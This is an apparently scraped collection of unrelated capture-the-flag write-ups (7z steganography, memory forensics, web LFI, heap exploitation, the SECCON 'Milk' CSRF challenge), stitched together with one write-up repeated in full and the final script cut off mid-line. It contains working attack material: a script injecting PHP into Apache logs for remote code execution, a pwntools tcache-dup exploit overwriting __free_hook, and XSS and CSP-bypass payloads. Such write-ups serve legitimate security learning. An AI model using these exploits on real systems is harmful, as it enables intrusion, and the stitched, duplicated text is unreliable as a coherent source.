```$ ./parse7z.py part2_5.7z=====================================--------- Header Properties ---------Magic - - - - - - - - 7z\xbc\xaf'\x1cVersion - - - - - - - 4Header CRC- - - - - - 0x70c6c868Header CRC Valid? - - TrueFooter Start- - - - - 0xa1Footer Length - - - - 0x62Footer CRC- - - - - - 0x72f2a1a1Footer CRC Valid? - - True=====================================--------- Footer Properties ---------Data Offset - - - - - 0x0Pack Size(s)- - - - - [0x63]Compression - - - - - LZMA2=====================================---------- Body Properties ----------Body Length - - - - - 0x63=====================================---------- Steg Properties ----------Center Start- - - - - 0x83Center Length - - - - 0x1eCenter Data - - - - - b',\xcc\xf8C\x92-\xd9\xfc\x7f\xe7\xe8y\xd8\xdd`[\x9a\xd1\xcch\xac\x8f\xc9YA\x00\x00\x00\x00\x00'Bottom Start- - - - - 0x103Bottom Length - - - - 0x0Bottom Data - - - - - b''=====================================```
## Yes
And since we had an actual internal parsing library, we could make a variety of scripts. The scripts [are heavily documented in the repository](https://github.com/yo-wotop/7z-tools/blob/main/README.md), so they won't be repeated here. However, let's just say that they allow us to solve this challenge in a single line:
```$ ./7zsteg.py challenge/part2_*.7z >> ez.png```
And just like that, `tstlss{Nice!_Did_you_parse_the_properties?}` is a single line away. And it's official.
**Yes.** We parsed the properties.
|
### [Original Writeup](https://bigpick.github.io/TodayILearned/articles/2020-10/cryptoworld-b01lersbootcamp)
Collection of a good percentage of the Crypto World specific flags from b01lers bootcamp 2020. Not sorted out split out by flag, sorry; more of a stream of consciousness/work. |
Leverage the parity of set bits in a 1-2 Oblivious Transfer message to construct an RSA oracle and apply the Bleichenbacher attack.
https://cr0wn.uk/2020/0ctf-oblivious/ |
**Writeup for 7/12**
-----
##### Forgive the bad script & if I had missed anything
##### Feel free to Hit me up on discord AmunRha#3245
-----
> A really intresting challenge. Same file as 7/11.
## AnalysisExtracting the remaining files from 7/11 you get around 375 .7z files which when extracted provides with junk.We know that the first file[7/11] contained the second file we needed[part2] in between the start header chunk and the end header chunk of the 7z file.
> Second file wasnt merely appended.
Reading through the 7z file format specifications we learn that there is a definite structure to the start header and the end header.
> Check this link out to know more about it.> [https://py7zr.readthedocs.io/en/latest/archive_format.html#file-format](https://py7zr.readthedocs.io/en/latest/archive_format.html#file-format)
The next header[End header location] is at offset `0xc` and the values given are relative to the start header, so the end header offset is at `0x20 + [value of next header]`
> Read this for the detailed info> [https://www.7-zip.org/recover.html](https://www.7-zip.org/recover.html)
The thing to notice here is that, if we merely change those next header values to what we want, say increase it by 20 bytes, then we could literally put any data in between the original data of the 7z and the start of the end header.And thats what the authors did to append the part2 file onto the origianl 7/11 file.
Since the hint given also said about "Understanding" the first challenge, we can say the second challenge has something to do with some data embeded in the same way.Analysis all those 7z files with a hex editor and going below
Used a bash script to check out all files
```bashecho "[*] Script running..."
for i in {0..375}do echo part2_$i.7z xxd part2_$i.7zdone ```
We can see multiple PNG chunks scattered accross all those files at the end, with no pattern to it, like a particular size, etc [Happy that it was all in order and not at scattered accross random files]Thus, our assumption was right, now we need to find a way to restore them all and get the original png
I personally tried reading through all the formats of PNG, and 7z files and wasnt able to properly implement them. Since the time left started to become shorter i tried another trick.
-----
## Solve
I wanted to find a pattern, like the PNG chunks start at this place and end at this place.The end place was easy to find cause it was right before the End Header's start offset.But the start place was sort of confusing, so i used a workaround for it.
I used the 7z linux cmd `7z t [filename]` to test if everything was okay with the file, and it returned "Everything was OK". I tried chaning a byte using hex editor at a random place in the 7z file and tested again, and it returned "Errors in [filename].7z".But changing a byte in those PNG chunks returned "Everything was OK". So I wondered if this can be utilised for our solution.I tried chaning byte by byte in reverse order starting from the Start offset of the End header[End of PNG chunk] and tested it with 7z until i got output as error from the 7z tool.This placed me at the start of the scattered PNG chunk in that file.
Automate this is in python for 375 files, thus getting the start and end of the scattered PNG chunks, and extract that all to create a new png file gets you the flag.
Or so i expected. This is where things started getting problematic. I was sure that the method I used definetly should have worked out but for some reason the PNG stayed corrupted.Checking with the pngcheck utility in linux `pngcheck -f -vv [filename].png` we get detailed errors.
```File: flag.png (9424 bytes) chunk IHDR at offset 0x0000c, length 13 1300 x 72 image, 32-bit RGB+alpha, non-interlaced chunk sRGB at offset 0x00025, length 1 rendering intent = perceptual chunk gAMA at offset 0x00032, length 4: 0.45455 chunk pHYs at offset 0x00042, length 9: 3778x3778 pixels/meter (96 dpi) chunk IDAT at offset 0x00057, length 9315 zlib: deflated, 32K window, fast compression row filters (0 none, 1 sub, 2 up, 3 avg, 4 paeth): 1 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 0 0 0 0 invalid row-filter type (73) 0 183 0 0 0 0 0 0 0 219 0 0 0 0 0 0 0 182 0 0 0 0 0 0 255 255 255 255 0 0 255 255 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 (72 out of 72) CRC error in chunk IDAT (computed ea345781, expected 4020dd24) invalid chunk name "" (00 00 49 45) chunk at offset 0x024c6, length 1875640320: EOF while reading dataERRORS DETECTED in flag.png```
I asked the authors help to decode what these errors are supposed to mean[google didnt help at all], thats when they said that I have extra two bytes in my output file which can be observed from this particular line in that output,
` invalid chunk name "" (00 00 49 45)``chunk at offset 0x024c6, length 1875640320: EOF while reading data`
So, onto we proceed to remove two bytes, but how do we know which two bytes those two are supposed to be?We could either brute the whole procees using a simple script, that is, change two bytes at a time using two for loops and check the output with pngcheck to see if any errors existed, if there is try another two bytes. I explained this to the author and they were really supportive.
> Brute script attached below.
We find those two bytes not required at offset 0x793(1939) and 0x8a6(2214). Remove those two and you get the final flag.png with no errors in it.
> Solution script attached below.
### Flag - tstlss{Nice!_Did_you_parse_the_properties?}
-----
## Script
Solution script:
```pythonimport binasciiimport subprocessimport re
final_png_hxdmp = ''
for j in range(376): filename = f'part2_{j}.7z' with open(filename, 'rb') as f: content = f.read()
hexdump = binascii.hexlify(content).decode('utf8') nxt_hdr = ''
for i in range(0,16,2):
if hexdump[24+i:26+i] == '00' and hexdump[26+i:28+i] == '00': break nxt_hdr += hexdump[24+i:26+i]
nxt_hdr = re.findall('..',nxt_hdr) nxt_hdr.reverse() nxt_hdr = ''.join(nxt_hdr)
nxt_hdr_int = ((int(nxt_hdr, 16)+32)*2) - 2
with open(filename, 'rb') as f: content = f.read()
hexdump = binascii.hexlify(content).decode('utf8') start_chnk = end_chnk = int(nxt_hdr_int+2) i = 0
while True: hexdump = binascii.hexlify(content).decode('utf8') hexdump = hexdump[:nxt_hdr_int-i] + '2e' + hexdump[nxt_hdr_int+2-i:] hexdump = bytes.fromhex(hexdump)
f2 = open("blah2.7z", "wb") f2.write(hexdump) f2.close()
process = subprocess.Popen("7z t blah2.7z", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) output = process.stdout.readlines()
if b'Everything is Ok\n' in output: pass else: #print("[*] blah2.7z File Error") start_chnk = int((nxt_hdr_int+2-i)) break
i+=2
#print(f'[*] Start chunk found - {start_chnk}\n[*] End chunk found - {end_chnk}')
hexdump = binascii.hexlify(content).decode('utf8') png_chnk = hexdump[start_chnk:end_chnk]
#print(f'[*] PNG chunk values:\n') print(f'\n\nFile no. {j}: \n') print(png_chnk) final_png_hxdmp += png_chnk
#Final file had two byte extra at offset 0x793(1939) and 0x8a6(2214)#remove thatfinal_png_hxdmp = final_png_hxdmp[:3880] + "" + final_png_hxdmp[3882:4428] + "" + final_png_hxdmp[4430:]
final_png_hxdmp = bytes.fromhex(final_png_hxdmp)f3 = open("flag.png", "wb")f3.write(final_png_hxdmp)f3.close()```
Brute to find the wrong two bytes:
```pythonimport binasciiimport subprocess
def write_to(data): f3 = open("test.png", "wb") f3.write(data) f3.close()
def check_error(): process = subprocess.Popen("pngcheck -f -v test.png", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) output = process.stdout.readlines() return output
def correct_png(hexdump): for i in range(92, 9425, 2): new_hx = hexdump[:i] + "" + hexdump[2+i:] for j in range(i+1, 9425, 2): new_hx = hexdump[:j] + "" + hexdump[2+j:] new_hx = bytes.fromhex(new_hx) write_to(data=new_hx) output = check_error() if b'ERRORS DETECTED in test.png\n' in output: print('[*] Checking for First byte at - ' + str(i) + 'and Second byte at - ' + str(j)) elif b'Segmentation fault\n' in output: print('[*] Checking for First byte at - ' + str(i) + 'and Second byte at - ' + str(j)) else: print("[*] Succesfully retrieved the image.") print('[*] First byte at - ' + str(i) + 'and Second byte at - ' + str(j)) break
with open("flag.png", 'rb') as f: content = f.read()
hexdump = binascii.hexlify(content).decode('utf8')correct_png(hexdump)```
----- |
#### LSB Steganography#### Original Writeup [here](https://medium.com/@arifwc/writeup-bsides-delhi-ctf-2020-never-gonna-give-you-the-flag-forensics-616f547f2492) |
# Log## Description
GET the right file.
Author: Ph03N1X
[Link](http://3.7.251.179/)
## Solution#### ReconFirst, we opened the website, there we given lots of links. But when we clicked on most of the link, we were greeted with an error page. After some observation, we realized that there is a link that's different with another link.

Clicking on that link would redirect us to a different page :
.
We also learned some things in this phase :- There are some files that we can't get (.htaccess would return 403 Forbidden)- The server was run in Apache (we know it from error message that was triggered when we requested a non-existent file )
#### LFIAfter that, we spent some times figuring what to do next. With the hint in the title (_**Log**_) and the info that the server run in Apache, we assumed that we have to read the log file. So... LFI perhaps?
We tried the word 'file' as parameter to include file, and it works!
 #### Journey to RCE
Okay, so far we can do LFI, but no sign of flag here... So we assumed that we have to escalate our LFI to RCE. Doing a data:// wrapper wasn't working because of _allow_url_include_ config was set to 0.
Finally, we tried a RCE by using Apache log file. There are two types of Apache log file : **access.log** (For logging successful requests) and **error.log** (For logging failed requests). But, when we include access.log, we were failed because the file isn't exist. So, we tried to include error.log and it worked.

#### Triggering error.log
So next we have to trigger error.log to log our failed request. We can do it by requesting .htaccess. But how to log our crafted request?
Turns out, it was possible to request .htaccess[ABRITRARY_STRING] to trigger the logging. So we successfully logged our crafted request.
Here's a script that automated our request.
import requests link = "http://3.7.251.179/" log = 'http://3.7.251.179/click-here_00.php?file=/var/log/apache2/error.log' def gs(pl): return link + '.htaccess' + pl payload = '<%3Fphp echo "PAYLOAD HERE" %3F>' r = requests.get(gs(payload)) r2 = requests.get(log) print(r2.text)
#### Filter Bypassing
Yay! We can do LFI to error.log, so we can do a RCE...
...right?
It's not that easy. The system seems to blocked some strings so we can't do a RCE easily.
First, obviously we tried to executed some script to execute `shell_exec`. So we tried executing `<%3Fphp echo shell_exec("id") %3F>` as our payload with the script. And the result?
> [authz_core:error] [pid 84] [client 114.4.219.126:54871] AH01630: client denied by server configuration: /var/www/html/.htaccess
Oops! Seems that we can't do `shell_exec` here.
Let's try another approach. How if we do a path traversal to find the flag with scandir() function? We tried `<%3Fphp var_dump(scandir("/")); %3F>` but it doesn't work. So we bypassed the "/" filter by using chr(47) and it worked.
Long story short, after some path traversals, we found an interesting file in `/f/l/a/g/somethingUneed.txt`. And including it in our LFI will return our flag.

**Flag** : `BSDCTF{L0cal_f1L3_InClu$10N_1$_v3RY_P015On0u$} `
**Disclaimer** : Some of the exploit in this writeup doesn't work in the writeup making phase.
# Robot Master## Description
You know what to do, collect them all.
Author: Ph03N1X
[Link](http://15.206.202.26/)
## Solution#### ReconAs the title, the first thing we saw is the `robots.txt` file. We found an interesting file in /cookie.php
Opening `cookie.php` revealing us some interesting cookies.

#### Cookie UnifyingTrying to google the value of `Our_Favourite_Cookie` tells us that the value is actually a SHA256 hash of 'O'. Then, when we change the value of `Piece`, we got a different hash. Realizing that this maybe is a SHA256 of an individual letter of a flag, we tried to automate the process. Here's the script we craft to request every hash piece of the flag.
import requests import hashlib import string link = 'http://15.206.202.26/cookie.php' poss = string.printable table = {} flag = "" for _ in poss: sha = hashlib.sha256(_.encode()).hexdigest() table[_] = sha for i in range(50): cookie = { "Piece" : str(i), "Our_Fav_Cookie" : "rinrin!" } r = requests.get(link, cookies=cookie) d = (dict(r.cookies)) for t in table: if table[t] == d["Our_Fav_Cookie"]: flag += t print(flag)
After running the script, we realized there's a flag-like string on the result, > OFQPGS{P00x135_ne3_o35g_cy4p3_70_pu3px}
Shifting the string with Caesar cipher with N = 13 giving us our flag.
**Flag** : `BSDCTF{C00k135_ar3_b35t_pl4c3_70_ch3ck}` |
## Heisenberg's PasswordSo this is a memory forensics challenge, which I solve quite often with Volatility, a memory forensics tool from Volatility Foundation. We got this humongous raw file, which I always reckon as a memory dump.
> Description: Some undercover cops were trying to get info from a drug dealer named Heisenberg. He stored all the details of the drug mafia in an encrypted file in his PC. PC is with cops now. But they don't know the password. According to the Intelligence team, Heisenberg has weak memory and He used to store his strong password as different parts in different places in his wife's PC. The Intelligence team were able to collect his wife's PC memory dump. The Intelligence team informed us that getting the answers for given questions and setting them in a given format might give us the password. So could you help them to get the password?>PS: Follow the order of questions while wrapping the answers> When is the last time loveyou.png modified? eg: 2020–10–10_11:45:33> What is the physical offset of Loveletter text? eg: 0x000000007ac06539> When is the last time the MEGA link opened? eg: 2020–10–10_11:45:33> Wrap the answers in the format: BSDCTF{2020–10–10_11:45:33$7ac06539$2020–10–10_11:45:33}
Oh, I love this. This is like SANS forensics challenge, which is not necessarily a flag finding, but also learning what you could find in a memory dump.
### 1st section - Identifying what dump is thisIs it brown? Yellow? Or Windows 98? Usually it will be obviously on Windows due to its unique Little-Endian style of encoding. BUT to check it, we just need to do the Volatility magic command.
`python vol.py -f ../../BsidesDelhi/Win7mem/Win7mem.raw imageinfo`
`imageinfo` will tell you based on KDBG search, which is a Windows-thing for debugging purposes. From the [Security StackExchange Answer](https://security.stackexchange.com/a/71117) :
_The KDBG is a structure maintained by the Windows kernel for debugging purposes. It contains a list of the running processes and loaded kernel modules. It also contains some version information that allows you to determine if a memory dump came from a Windows XP system versus Windows 7, what Service Pack was installed, and the memory model (32-bit vs 64-bit)._
So yeah, just to see the Windows version of this, you need to parse the debugging style.```INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (/this/should/be/my/directory/Win7mem.raw) PAE type : No PAE DTB : 0x187000L KDBG : 0xf800029fc070L Number of Processors : 2 Image Type (Service Pack) : 0 KPCR for CPU 0 : 0xfffff800029fdd00L KPCR for CPU 1 : 0xfffff880009ee000L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2020-09-30 14:08:36 UTC+0000 Image local date and time : 2020-09-30 19:38:36 +0530```Cool, so we get the Windows version which is `Win7SP1x64` or Windows 7 Service Pack 1 64-bit. Now what?
### 2nd section - Finding the last modified file date on the dumpHmmm... how do we find the date of modified file? Using Volatility, simply put a `mftparser` command. This should parse the MFT of the dump. What's MFT, you might ask? According to [The official Windows Documentation](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table):
_The NTFS file system contains a file called the master file table, or MFT. There is at least one entry in the MFT for every file on an NTFS file system volume, including the MFT itself. All information about a file, including its size, time and date stamps, permissions, and data content, is stored either in MFT entries, or in space outside the MFT that is described by MFT entries._
Cool, so metadata of a file is stored in MFT which we can acquire by using Volatility. So we can run command:
`python vol.py -f ../../BsidesDelhi/Win7mem/Win7mem.raw --profile=Win7SP1x64 mftparser > ../../BsidesDelhi/Win7mem/mft.txt`.
It will be a long output so I need to put it in a TXT file to make sure I didn't need to run the same command again.
So we left with `mft.txt` with 300,000 lines of output. But we just need to find the interesting file of `loveyou.png`. Using simple search, we could find two entries of `loveyou.png`:
```Line 44562: 2020-09-30 13:54:56 UTC+0000 2020-09-30 13:54:56 UTC+0000 2020-09-30 13:54:56 UTC+0000 2020-09-30 13:54:56 UTC+0000 Users\bsides\Desktop\loveyou.png
Line 106429: 2020-09-30 13:34:58 UTC+0000 2020-09-30 13:34:58 UTC+0000 2020-09-30 13:34:58 UTC+0000 2020-09-30 13:34:58 UTC+0000 Users\bsides\DOWNLO~1\loveyou.png```
The second date of a line is the modified date, so we get `2020-09-30 13:54:56` as the first answer.
### 3rd section - Finding the actual offset of a file
So in Volatility we can simply use `filescan` to get the file listing and its offset, because of NTFS nature of tracking things.
`python vol.py -f ../../BsidesDelhi/Win7mem/Win7mem.raw --profile=Win7SP1x64 filescan > ../../BsidesDelhi/Win7mem/filelist.txt`
Again, we're putting it in TXT because there is an enormous amount of file here. After it's finished, we can look around and search the interesting file.
`Line 2983: 0x000000007fa07960 16 0 RW-r-- \Device\HarddiskVolume2\Users\bsides\Desktop\loveletter.txt`
Got it. The second answer is `7fa07960`.
### 4th section - Finding the browser history :floshed:
Are you using your Windows to open questionable websites? Worry yes, with the memory dump we can get your recent history. First we have to look for the browser it is using by looking at the processes using `cmdline` command. But apparently there is no info about the browser, at least not running. So, blindly, I'm using `chromehistory` plugin by [superponible](https://blog.superponible.com/2014/08/31/volatility-plugin-chrome-history/). And apparently it works, and returned several recent history of the browser.```... 33 https://www.google.com/ Google 2 1 2020-09-30 14:05:05.765148 N/A 32 https://mega.nz/file/iehAyJYR#VdDc7oPuH225hp_orw4TswOU5dOSLMhqntpfoVEGjds https://mega.nz/file/iehAyJYR#VdDc7oPuH225hp_orw4TswOU5dOSLMhqntpfoVEGjds 2 1 2020-09-30 14:04:39.493154 N/A ...```
This is the most recent Mega link opened. So the third answer is `2020-09-30 14:04:39`
So, based on those answers, the flag is:
`BSDCTF{2020-09-30_13:54:56$7fa07960$2020-09-30_14:04:39}` |
## [Original/Source Writeup](https://bigpick.github.io/TodayILearned/articles/2020-10/b01lersbootcamp#programs-only)
Navigating to the site, we see a page that displays our User-Agent string in the webpage, along with some other just random pages.
Searching around, nothing really sticks out. In the source code, we see the following HTML comment:
```html ```
Navigating to `/program`, we get:
```Unauthorized.Users do not have access to this resource.```
Combining that with the home page displaying our User-agent, we probably need to modify our User-Agent to match some “Program” requirement.
Checking `robots.txt` (as you always should for low level web challenges), we see:
```User-agent: *Disallow: /
User-agent: ProgramAllow: /program/
User-agent: Master Control Program 0000Allow: /program/control```
So we can hit those pages with the above User-Agents like so:
```curl -H "User-agent: Program" http://chal.ctf.b01lers.com:3003/programcurl -H "User-agent: Master Control Program 0000" http://chal.ctf.b01lers.com:3003/program/control```
The second ends up having our flag:
```html
<html> <head> <title>Master Control.</title> <link rel="stylesheet" href="/static/css/tron.css" /> <link rel="stylesheet" href="/static/css/style.css" /> </head> <body> <div id="main-wrapper"> <div class="content-page"> <div> <h1>Master Control.</h1> </div> <div>
flag{who_programmed_you?} </div> </div> </div> </body></html>```
flag{who_programmed_you?}
Flag is flag{who_programmed_you?}. |
Fill, Tcache wiith 7 frees, 8th free gets into Unsortedbin :- Get's you libc leak
Normal tcache-dup to overwrite __free_hook with one_gadget
```CSS#!/usr/bin/python
from pwn import *
context(os='linux',arch='amd64')context.log_level = 'DEBUG'context(terminal=['tmux','new-window'])
p = process('./chall')#p = gdb.debug('./chall','c')e = ELF('./chall')libc = ELF('./libc.so.6')
def prefix(ch): p.recvuntil(">> ") p.sendline(str(ch))
def add(size,data): prefix(1) prefix(size) prefix(data)
def view(index): prefix(2) prefix(index)
def delete(index): prefix(3) prefix(index)
def exploit(): add(150,"AAA") add(40,"AAA") for i in range(8): delete(0)
view(0) p.recvline() libc.address = u64(p.recvline().strip().ljust(8,'\x00')) - (libc.symbols['__malloc_hook'] + 112)
for i in range(2): delete(1)
add(40,p64(libc.symbols['__free_hook'])) add(40,p64(0)) add(40,p64(0x4f3c2 + libc.address))
delete(0)
exploit()context.log_level = 'INFO'
p.interactive()``` |
I think I should have used the provided "words.txt" but I completely forgot about it and I instead downloaded the original "The Time Machine" from Project Gutenberg. I had to convert some unicode chars to their ascii representation using `unidecode` and the I simply compared the two files byte by byte:```from unidecode import unidecode
orig = unidecode(open('gut.txt', 'rb').read().decode('utf-8'))m = unidecode(open('ttm.txt', 'rb').read().decode('utf-8'))
f = open('flag.txt', 'wb')
for i in range(len(m)): a = orig[i] b = m[i] if a != b: f.write(b) print i, a, b```Inside the generated file "flag.txt" you can find the flag: `{FLG:1_kn0w_3v3ryth1ng_4b0ut_t1m3_tr4v3ls}`, |
In The Source View of home page there were a hint:

` `
After we checked the robots.txt file of server and got this:
```User-agent: * Disallow: /cookie.php```
after visiting cookie.php we checked the source view and got this clue:

Notice: ``
that's mean our flag was divided into pieces. let' find those pieces.
Remember the first clue on home page: `""`
so we went for check the cookie value. and there found these cookie:

on every reload of page piece values were increasing by 1 and got some Sha-256 encrypted hash on Our_Fav_Cookie.
there were total 39 Pieces. after collecting them we just google it and decrypted those key then we found this one
> OFQPGS{P00x135_ne3_o35g_cy4p3_70_pu3px}
It's Clear that Flag of this event starts with BSDCTF but there is no BSDCTF and the flag also makes no sense.
After clearly saw the flag we went for Cipher decryption that flag for A→N
After Decoding from web we got our flag:

> BSDCTF{C00k135_ar3_b35t_pl4c3_70_ch3ck} |
# OSINT - bl0g hunt
## Challenge description:
## Solution:
We are given a CVE id in the description (**CVE-2007-3561**), and we need to find the author blog name.
(**I think they meant the name of the vulnerable blog software**)
There are a lot of sites to view CVE vulnerability details, and (www.cvedetails.com) is one of them.

So, I searched for (**CVE-2007-3561**) in (www.cvedetails.com)
https://www.cvedetails.com/cve/CVE-2007-3561/

The affected product was a blog software called "**Efendy Blog**"
**HACSEC{Efendy_Blog}** |
Find the train model using Yandex reverse image search, then search through the stations where the train can be found.
https://github.com/danielepusceddu/ctf_solutions/tree/master/osint/downunder20_offtherails2 |
# SECCON 2020 Online CTF - Milk - Author's Writeup
## Author
@hakatashi
## Challenge Summary
There're two seperated services in this challenge, `milk.chal.seccon.jp` and `milk-api.chal.seccon.jp`. `milk` sends requests to `milk-api` with AJAX and communicates some data. The procedure is as follows.
1. `milk` sends JSONP request to `milk-api/csrf-token` and get CSRF token.1. `milk` issues another request with the previous token and calls api.1. `milk-api` revokes CSRF token once it is used.
User verification is determined by the issuer of CSRF token.
Fortunately, NginX caches all requests from `milk-api`, so you can easily use [Cache Poisoning](https://owasp.org/www-community/attacks/Cache_Poisoning) to get admin's CSRF token. Unfortunately, CSRF Token issued from browser is revoked immediately after issued, so you have to block the usage of CSRF token from admin browser. This is the main point of this challenge.
Following is the code to issue and use CSRF token.
```html<script src=https://milk-api.chal.seccon.jp/csrf-token?_=<?= htmlspecialchars(preg_replace('/\d/', '', $_GET['_'])) ?> defer></script><script> csrfTokenCallback = async (token) => { // use token };</script>```
## Intended Solution
Interestingly, you can also access this challenge's website with the following URL.
```https://milk.chal.seccon.jp./ ^ notice the period here```
In DNS, `.` represents root server and FQDN that ends with period represents explicit queries from root server. So the following hostnames are different, but results are the same.
* `milk.chal.seccon.jp`* `milk.chal.seccon.jp.`
NginX's `server_name` treats these two domains as the same so you can access it by the domain with period, but these are different in the context of CORS. So **you may violate `Access-Control-Allow-Origin: https://milk.chal.seccon.jp` policy in the header.**
Usually, requests issued by `<script>` is out of CORS policy, but you can force it by appending [`crossorigin="use-credentials"` attribute](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/crossorigin).
Finally, there is the `Referer` checker in the API server, but npm's normalize-url [automatically strips trailing period in the hostname](https://github.com/sindresorhus/normalize-url/blob/fe36714/index.js#L148) (Why?) so this check can be bypassed.
Final payload will look like the following.
```https://milk.chal.seccon.jp./note.php?_=aaaaaaaaaaaa%20crossorigin%3Duse-credentials```
This is the actual solever: https://gist.github.com/hakatashi/6dca5378e132efe3249aa6909e02112b
## Unintended, but clever solution
You can inject `charset` attribute into script tag and make browser misrecognize the character set of the JSONP endpoint.
Most of the charset used in HTML include digits in their name, but **`unicodeFFFE` (alias of UTF-16 Big Endian)** doesn't include digits, is valid in HTML, and can spoof ASCII characters into another characters, like the following.
```ASCII: csrfTokenCallback('63719f71-e671-48a9-8cb0-f71f3a33e75a')unicodeFFFE: 捳牦呯步湃慬汢慣欨✶㌷ㄹ昷ㄭ收㜱ⴴ㡡㤭㡣戰ⵦ㜱昳愳㍥㜵愧```
So, you can use the following payload to spoof `/csrf-token` endpoint and cause syntax error, then CSRF token is not used. Solvable.
```?_=aaaaaaaaaaaa%20charset%3Dunicodefffe```
## Unintended, but clever solution
If you end your payload with equal sign,
```?_=aaaaaaaaaaaa%20aaaa%3D```
the generated HTML will be like the following.
```html<script src=https://milk-api.chal.seccon.jp/csrf-token?_=aaaaaaaaaaaa aaaa= defer></script><script> csrfTokenCallback = async (token) => { // use token };</script>```
Surprisingly, `aaaa` attribute is parsed as `aaaa="defer"` in spite of the space around it! So `defer` notation extincts. `defer` reorders the execution order of scripts, but in this case that is cancelled and scripts are executed in the described order.
So, `csrfTokenCallback` function is not defined when `/csrf-token` is loaded, thus causes runtime error, and CSRF token is not used. Solvable.
## Unintended, less clever, but valid solution
In this challenge, dumb XSS is prevented by the following CSP configuration.
```nginxlocation ~ \.php$ { # ... if ($document_uri = '/note.php') { add_header Content-Security-Policy "default-src 'none'; base-uri 'none'; style-src * 'unsafe-inline'; font-src *; connect-src https://milk-revenge-api.chal.seccon.jp; script-src 'self' https://milk-revenge-api.chal.seccon.jp https://code.jquery.com/jquery-3.5.1.min.js 'sha256-VxmUr3JR3CEAcdYpDNVjlyU6Wo1/yk5tf1Tkx/EAoBE=';" always; }}```
But you can use the following URL to bypass the `add_header` directive and then bypass CSP.
```https://milk.chal.seccon.jp/note.php/.php```
Then, you can freely XSS with the following payload.
```?_=aaaaaaaaaaaa%20onload=alert(1)```
Solvable. |
# SECCON 2020 Online CTF - Milk - Author's Writeup
## Author
@hakatashi
## Challenge Summary
There're two seperated services in this challenge, `milk.chal.seccon.jp` and `milk-api.chal.seccon.jp`. `milk` sends requests to `milk-api` with AJAX and communicates some data. The procedure is as follows.
1. `milk` sends JSONP request to `milk-api/csrf-token` and get CSRF token.1. `milk` issues another request with the previous token and calls api.1. `milk-api` revokes CSRF token once it is used.
User verification is determined by the issuer of CSRF token.
Fortunately, NginX caches all requests from `milk-api`, so you can easily use [Cache Poisoning](https://owasp.org/www-community/attacks/Cache_Poisoning) to get admin's CSRF token. Unfortunately, CSRF Token issued from browser is revoked immediately after issued, so you have to block the usage of CSRF token from admin browser. This is the main point of this challenge.
Following is the code to issue and use CSRF token.
```html<script src=https://milk-api.chal.seccon.jp/csrf-token?_=<?= htmlspecialchars(preg_replace('/\d/', '', $_GET['_'])) ?> defer></script><script> csrfTokenCallback = async (token) => { // use token };</script>```
## Intended Solution
Interestingly, you can also access this challenge's website with the following URL.
```https://milk.chal.seccon.jp./ ^ notice the period here```
In DNS, `.` represents root server and FQDN that ends with period represents explicit queries from root server. So the following hostnames are different, but results are the same.
* `milk.chal.seccon.jp`* `milk.chal.seccon.jp.`
NginX's `server_name` treats these two domains as the same so you can access it by the domain with period, but these are different in the context of CORS. So **you may violate `Access-Control-Allow-Origin: https://milk.chal.seccon.jp` policy in the header.**
Usually, requests issued by `<script>` is out of CORS policy, but you can force it by appending [`crossorigin="use-credentials"` attribute](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/crossorigin).
Finally, there is the `Referer` checker in the API server, but npm's normalize-url [automatically strips trailing period in the hostname](https://github.com/sindresorhus/normalize-url/blob/fe36714/index.js#L148) (Why?) so this check can be bypassed.
Final payload will look like the following.
```https://milk.chal.seccon.jp./note.php?_=aaaaaaaaaaaa%20crossorigin%3Duse-credentials```
This is the actual solever: https://gist.github.com/hakatashi/6dca5378e132efe3249aa6909e02112b
## Unintended, but clever solution
You can inject `charset` attribute into script tag and make browser misrecognize the character set of the JSONP endpoint.
Most of the charset used in HTML include digits in their name, but **`unicodeFFFE` (alias of UTF-16 Big Endian)** doesn't include digits, is valid in HTML, and can spoof ASCII characters into another characters, like the following.
```ASCII: csrfTokenCallback('63719f71-e671-48a9-8cb0-f71f3a33e75a')unicodeFFFE: 捳牦呯步湃慬汢慣欨✶㌷ㄹ昷ㄭ收㜱ⴴ㡡㤭㡣戰ⵦ㜱昳愳㍥㜵愧```
So, you can use the following payload to spoof `/csrf-token` endpoint and cause syntax error, then CSRF token is not used. Solvable.
```?_=aaaaaaaaaaaa%20charset%3Dunicodefffe```
## Unintended, but clever solution
If you end your payload with equal sign,
```?_=aaaaaaaaaaaa%20aaaa%3D```
the generated HTML will be like the following.
```html<script src=https://milk-api.chal.seccon.jp/csrf-token?_=aaaaaaaaaaaa aaaa= defer></script><script> csrfTokenCallback = async (token) => { // use token };</script>```
Surprisingly, `aaaa` attribute is parsed as `aaaa="defer"` in spite of the space around it! So `defer` notation extincts. `defer` reorders the execution order of scripts, but in this case that is cancelled and scripts are executed in the described order.
So, `csrfTokenCallback` function is not defined when `/csrf-token` is loaded, thus causes runtime error, and CSRF token is not used. Solvable.
## Unintended, less clever, but valid solution
In this challenge, dumb XSS is prevented by the following CSP configuration.
```nginxlocation ~ \.php$ { # ... if ($document_uri = '/note.php') { add_header Content-Security-Policy "default-src 'none'; base-uri 'none'; style-src * 'unsafe-inline'; font-src *; connect-src https://milk-revenge-api.chal.seccon.jp; script-src 'self' https://milk-revenge-api.chal.seccon.jp https://code.jquery.com/jquery-3.5.1.min.js 'sha256-VxmUr3JR3CEAcdYpDNVjlyU6Wo1/yk5tf1Tkx/EAoBE=';" always; }}```
But you can use the following URL to bypass the `add_header` directive and then bypass CSP.
```https://milk.chal.seccon.jp/note.php/.php```
Then, you can freely XSS with the following payload.
```?_=aaaaaaaaaaaa%20onload=alert(1)```
Solvable. |
Inside the zip there was an image and a password protected zip file. The image was always some kind of barcode that when decoded contained code in some programming language. Running the code always printed the password to the zip, inside of which there was another image and another zip.. and so on for 1024 times.
```import zipfileimport zxingfrom os import listdir, pathimport subprocess
reader = zxing.BarCodeReader()
